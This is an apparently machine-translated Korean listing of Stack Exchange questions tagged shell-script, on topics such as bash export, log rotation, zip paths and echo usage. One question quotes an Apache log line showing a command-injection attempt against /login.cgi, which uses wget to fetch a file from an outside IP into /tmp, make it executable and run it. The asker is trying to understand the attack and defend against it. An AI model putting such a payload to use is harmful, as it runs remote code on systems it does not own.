«shell-script» 태그된 질문

쉘 스크립트는 운영 체제의 쉘 또는 명령 행 인터프리터 용으로 작성된 스크립트입니다.




3
BASH에서 수출은 무엇을합니까? [복제]
가능한 중복 : bash에서“a = b”와“export a = b”의 차이점 인정하기는 어렵지만 export환경 변수가 정확히 무엇을하는지는 결코 이해하지 못했습니다 . 변수를 내 보내지 않으면 때로는 자식 프로세스에서 볼 수 없지만 때로는 가능한 것처럼 보입니다. 내가 말할 때 정말 무슨 일이야 export foo=5 언제 변수를 내 보내지 않아야합니까?


4
bash 스크립트의 매개 변수가 문자열과 일치하는지 확인하십시오.
bash 스크립트에 전달 된 매개 변수가 문자열과 일치하는지 확인하려는 스크립트를 작성하려고합니다. 내가 지금 설정하는 방법은 if [ "$3" != "-disCopperBld" -a "$4" != "-disCopperBld" -a "$5" != "-disCopperBld" -a "$6" != "-disCopperBld"] 그러나 많은 매개 변수가있을 수 있으므로 더 좋은 방법이 있는지 궁금합니다. 감사 편집 :이 코드 덩어리를 시도하고 옵션 …

9
stdout의 로그 회전?
stdout 및 stderr에 정보를 쓸 수있는 Linux 프로그램이 있습니다. 해당 출력을의 파일로 리디렉션하는 쉘 스크립트가 /var/log있습니다. (비아 >>와 2>&1.) 해당 로그 파일을 회전시키는 방법이 있습니까? (최대 크기, 다른 파일로 전환, 제한된 수의 파일 만 유지) 나는 logrotate프로그램 에 대해 이야기하는 몇 가지 답변을 보았습니다. 좋은 소리이지만 내부적으로 로그 파일을 생성하고 …

3
Zip 파일에서 원하지 않는 경로를 피하십시오
일부 파일을 패키징하기 위해 쉘 스크립트를 만들고 있습니다. 다음과 같은 디렉토리를 압축하고 있습니다. zip -r /Users/me/development/something/out.zip /Users/me/development/something/folder/ 문제는 결과 out.zip 아카이브에 전체 파일 경로가 있다는 것입니다. 즉, 압축을 풀면 전체 "/ Users / me / development / anotherthing /"경로가됩니다. 디렉토리를 아카이브에 넣을 때 이러한 깊은 경로를 피할 수 있습니까? 대상 …
49 macos  bash  zip  path  shell-script 


2
“echo $ (stuff)”또는“echo`stuff`”에 어떤 문제가 있습니까?
나는 다음 중 하나를 사용했다 echo $(stuff) echo `stuff` ( stuff예를 들어 pwd또는 date더 복잡한 곳). 그런 다음이 구문이 잘못되었다고 들었습니다. 나쁜 습관, 비 우아하고 과도하며 중복 적이며 지나치게 복잡하며화물 컬트 프로그래밍, noobish, naive 등 그러나 명령 이 작동하므로 정확히 무엇입니까?
31 shell-script  sh  echo 

2
이 bash 스크립트는 무엇을합니까? [해킹 시도]
최근에 서버 아파치 로그에서 다음과 같은 이상한 줄을 발견했습니다. 156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0" 그래서 나는 커스텀 Fail2Ban 필터를 만들고 /login.cgi URL을 요청하는 IP를 금지하기 시작했습니다. 그러나 그들이 무엇을하려고하는지 궁금해했기 때문에 그들이 실행하려고하는 스크립트를 뽑았으며 정확히 무엇을하는지 알 수없는 것 같습니다. / var …

5
디렉토리 내에서 전체 확장 유형 목록을 추출하는 방법은 무엇입니까?
디렉토리 내에서 그리고 하위 디렉토리 내에서 재귀 적으로 디렉토리 내 모든 디렉토리가 처리된다는 것을 의미합니다. 디렉토리 내에서 고유 한 확장자의 전체 목록을 어떻게 컴파일합니까? OS는 모든 최신 업데이트가 포함 된 Windows XP이지만 실제로 무엇을하고 있는지 알 수 있으면 스크립트를 실행해도 괜찮습니다.하지만 실제로는 닷넷을 설치하지 않아도되기를 선호합니다.

2
쉘 스크립트는 파일에 줄 바꿈
쉘 스크립트에서 변수 사이의 파일에 새로운 줄을 에코하고 싶습니다. 내 코드는 다음과 같습니다. var1 = "Hello" var2 = "세계!" logwrite = "$ var1 [여기는 새 줄을 삽입하고 싶습니다] $ var2 echo "$ logwrite">> /Users/username/Desktop/user.txt 현재 스크립트를 실행하면 user.txt 파일에 다음이 표시됩니다. 안녕하세요 세계! 나는 그것을 보여주고 싶다. 안녕하세요 세계! 어떻게해야합니까 …


3
Mac OS X Yosemite에서 bash를 업데이트하는 방법
bash 스크립팅을 조금 배우려고합니다. 내 오래된 bash 버전 : Bash version 3.2.53(1)-release... macbrew x yosemite의 bash를 homebrew로 업데이트했습니다. brew update brew install bash 그런 다음 터미널 속성에서 표준 쉘 경로를에서 /bin/bash로 변경 했습니다 /usr/local/bin/bash(이것은 homebrew가 업데이트 된 bash를 설치하는 곳입니다). 그런 다음 결과를 다시 확인했습니다 (모두 좋은 것 같습니다). $ …

당사 사이트를 사용함과 동시에 당사의 쿠키 정책개인정보 보호정책을 읽고 이해하였음을 인정하는 것으로 간주합니다.
Licensed under cc by-sa 3.0 with attribution required.